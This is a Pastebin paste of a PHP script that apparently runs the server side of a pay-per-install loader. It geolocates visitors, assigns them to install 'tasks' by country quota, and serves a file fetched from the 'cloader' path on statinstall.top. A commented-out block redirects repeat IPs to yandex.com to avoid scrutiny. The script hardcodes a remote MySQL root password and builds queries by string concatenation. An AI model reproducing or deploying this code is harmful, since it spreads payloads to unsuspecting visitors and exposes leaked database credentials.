Advertisement
Guest User

Untitled

a guest
Mar 22nd, 2019
101
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.60 KB | None | 0 0
  1. <?php
  2. error_reporting(-1); // reports all errors
  3. ini_set("display_errors", "1"); // shows all errors
  4. ini_set("log_errors", 1);
  5. require 'vendor/autoload.php';
  6. use GeoIp2\Database\Reader;
  7. $host = '185.203.118.216';
  8. $db   = 'traffic';
  9. $user = 'root';
  10. $pass = 'EdQe4ud06H';
  11. $charset = 'utf8';
  12.  
  13. $dsn = "mysql:host=$host;dbname=$db;charset=$charset";
  14. $opt = [
  15.     PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,
  16.     PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
  17.     PDO::ATTR_EMULATE_PREPARES   => false,
  18. ];
  19. $pdo = new PDO($dsn, $user, $pass, $opt);
  20.  
  21. $url = "http://www.statinstall.top/111/rgfdrw/fgdf434/cloader";
  22. $offer = 2;
  23.  
  24.  
  25.  
  26. $ip = getIP();
  27.  
  28. if (strpos($ip, ',') !== false) {
  29.     $ip_arr = explode(",", $ip);
  30.     $ip = $ip_arr[0];
  31.  
  32. }
  33.  
  34. //$reader = new Reader('GeoLite2-Country.mmdb');
  35.  
  36. try{
  37.  
  38.     $reader = new Reader('GeoLite2-Country.mmdb');
  39.  
  40.     $record = $reader->country($ip);
  41.     $country = $record->country->name;
  42.     $cc  =   $record->country->isoCode;
  43. //add to db info
  44.  
  45. }
  46. catch (GeoIp2\Exception\AddressNotFoundException $e ){
  47.     $country = "Not found";
  48.     $cc = "AA";
  49. }
  50.  
  51.  
  52.  
  53.  
  54.  /*
  55.  
  56. //////black list
  57.  
  58. $a = $pdo->prepare('select * from ip_blacklist where ip = :ip limit 1');
  59. $a->bindParam(':ip', $ip);
  60.  
  61. $a->execute();
  62.  
  63.  
  64.  
  65. if ($a->rowCount() > 0)
  66. {
  67.     //count++
  68.     header('Location: http://yandex.com/');
  69.     exit;
  70. }
  71.  
  72. $b = $pdo->prepare('select * from `hits` where ip = :ip limit 1');
  73. $b->bindParam(':ip', $ip);
  74.  
  75. $b->execute();
  76.  
  77.  
  78.  
  79. if ($b->rowCount() > 0)
  80. {
  81.  
  82.     $s = $pdo->prepare('insert into ip_blacklist (ip, hit_count) values (:ip, 0)');
  83.     $s->bindParam(':ip', $ip);
  84.  
  85.  
  86.     $s->execute();
  87.  
  88.     header('Location: http://yandex.com/');
  89.  
  90.  
  91.     exit;
  92. }
  93. //black list end
  94. */
  95.  
  96.  
  97.  
  98.  
  99.  
  100. $stmt = $pdo->prepare('select * from `traffic_task` where `status` = "work" and `oq` = 1 and exists (select `cc` from `traffic_task_country` where `traffic_task`.`id` = `traffic_task_country`.`task_id` and `cc` = \''.$cc.'\') and not exists (select `cc` from `traffic_task_country_black` where `traffic_task`.`id` = `traffic_task_country_black`.`task_id` and `cc` = \''.$cc.'\') and `traffic_task`.`intsllas` < `traffic_task`.`amout` or not exists (select * from `traffic_task_country` where `traffic_task`.`id` = `traffic_task_country`.`task_id`) and not exists (select `cc` from `traffic_task_country_black` where `traffic_task`.`id` = `traffic_task_country_black`.`task_id` and `cc` = \''.$cc.'\') and `status` = "work" and `oq` = 1 and `traffic_task`.`intsllas` < `traffic_task`.`amout` order by `last_install`  limit 1');
  101. $stmt->execute();
  102.  
  103. if ($stmt->rowCount() > 0)
  104. {
  105.     $res = $stmt->fetchAll();
  106.     $q =  $pdo->prepare('insert into `hits` (`ip`, `country`, `task_id`, `offer_id`, `created_at`) values (:ip, :country, :task_id, :offer_id, :date )');
  107.     $q->bindParam(':ip', $ip);
  108.      $date = date('Y-m-d H:i:s');
  109.     $q->bindParam(':date', $date);
  110.     $q->bindParam(':task_id', $res[0]['id']);
  111.     $q->bindParam(':country', $country);
  112.     $q->bindParam(':offer_id', $offer);
  113.     $q->execute();
  114.     $date = date('Y-m-d H:i:s');
  115.     $stmt = $pdo->prepare('update `traffic_task` set `last_install` = :date , `intsllas` = `intsllas` + 1  where `id` = :task_id limit 1');
  116.     $stmt->bindParam(':date', $date);
  117.     $stmt->bindParam(':task_id', $res[0]['id']);
  118.     $stmt->execute();
  119.  
  120.     $txt = $url . $res[0]['file_txt'];
  121.  
  122.     echo file_get_contents($txt);
  123.  
  124.     exit;
  125.  
  126.  
  127.  
  128. }
  129. else
  130. {
  131.  
  132.     //таск в очереди
  133.     $stmt = $pdo->prepare('select * from `traffic_task` where `status` = "work" and exists (select `cc` from `traffic_task_country` where `traffic_task`.`id` = `traffic_task_country`.`task_id` and `cc` = \''.$cc.'\') and not exists (select `cc` from `traffic_task_country_black` where `traffic_task`.`id` = `traffic_task_country_black`.`task_id` and `cc` = \''.$cc.'\') and `traffic_task`.`intsllas` < `traffic_task`.`amout` or not exists (select * from `traffic_task_country` where `traffic_task`.`id` = `traffic_task_country`.`task_id`) and not exists (select `cc` from `traffic_task_country_black` where `traffic_task`.`id` = `traffic_task_country_black`.`task_id` and `cc` = \''.$cc.'\') and `status` = "work" and `traffic_task`.`intsllas` < `traffic_task`.`amout` order by `last_install`  limit 1');
  134.     $stmt->execute();
  135.  
  136.     if ($stmt->rowCount() > 0)
  137.     {
  138.         $res = $stmt->fetchAll();
  139.         $date = date('Y-m-d H:i:s');
  140.         $q =  $pdo->prepare('insert into `hits` (`ip`, `country`, `task_id`, `offer_id`, `created_at`) values (:ip, :country, :task_id, :offer_id, :date )');
  141.         $q->bindParam(':ip', $ip);
  142.         $q->bindParam(':date', $date);
  143.         $q->bindParam(':task_id', $res[0]['id']);
  144.         $q->bindParam(':country', $country);
  145.         $q->bindParam(':offer_id', $offer);
  146.         $q->execute();
  147.  
  148.         $date = date('Y-m-d H:i:s');
  149.         $stmt = $pdo->prepare('update `traffic_task` set `last_install` = :date , `intsllas` = `intsllas` + 1 where `id` = :task_id limit 1');
  150.         $stmt->bindParam(':date', $date);
  151.         $stmt->bindParam(':task_id', $res[0]['id']);
  152.         $stmt->execute();
  153.  
  154.         $txt = $url . $res[0]['file_txt'];
  155.        
  156.         echo file_get_contents($txt);
  157.         exit;
  158.  
  159.  
  160.  
  161.  
  162.     }
  163.     else
  164.     {
  165.  
  166.         //таска нет
  167.  
  168.  
  169.  
  170.     }
  171.  
  172.  
  173. }
  174.  
  175.  
  176.  
  177.  
  178.  
  179.  
  180.  
  181.  
  182.  
  183.  
  184. function getIP()
  185. {
  186.     if (isset($_SERVER["HTTP_X_REAL_IP"]))
  187.         return $_SERVER["HTTP_X_REAL_IP"];
  188.     else if (isset($_SERVER["HTTP_X_FORWARDED_FOR"]))
  189.         return $_SERVER ["HTTP_X_FORWARDED_FOR"];
  190.     return $_SERVER['REMOTE_ADDR'];
  191. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement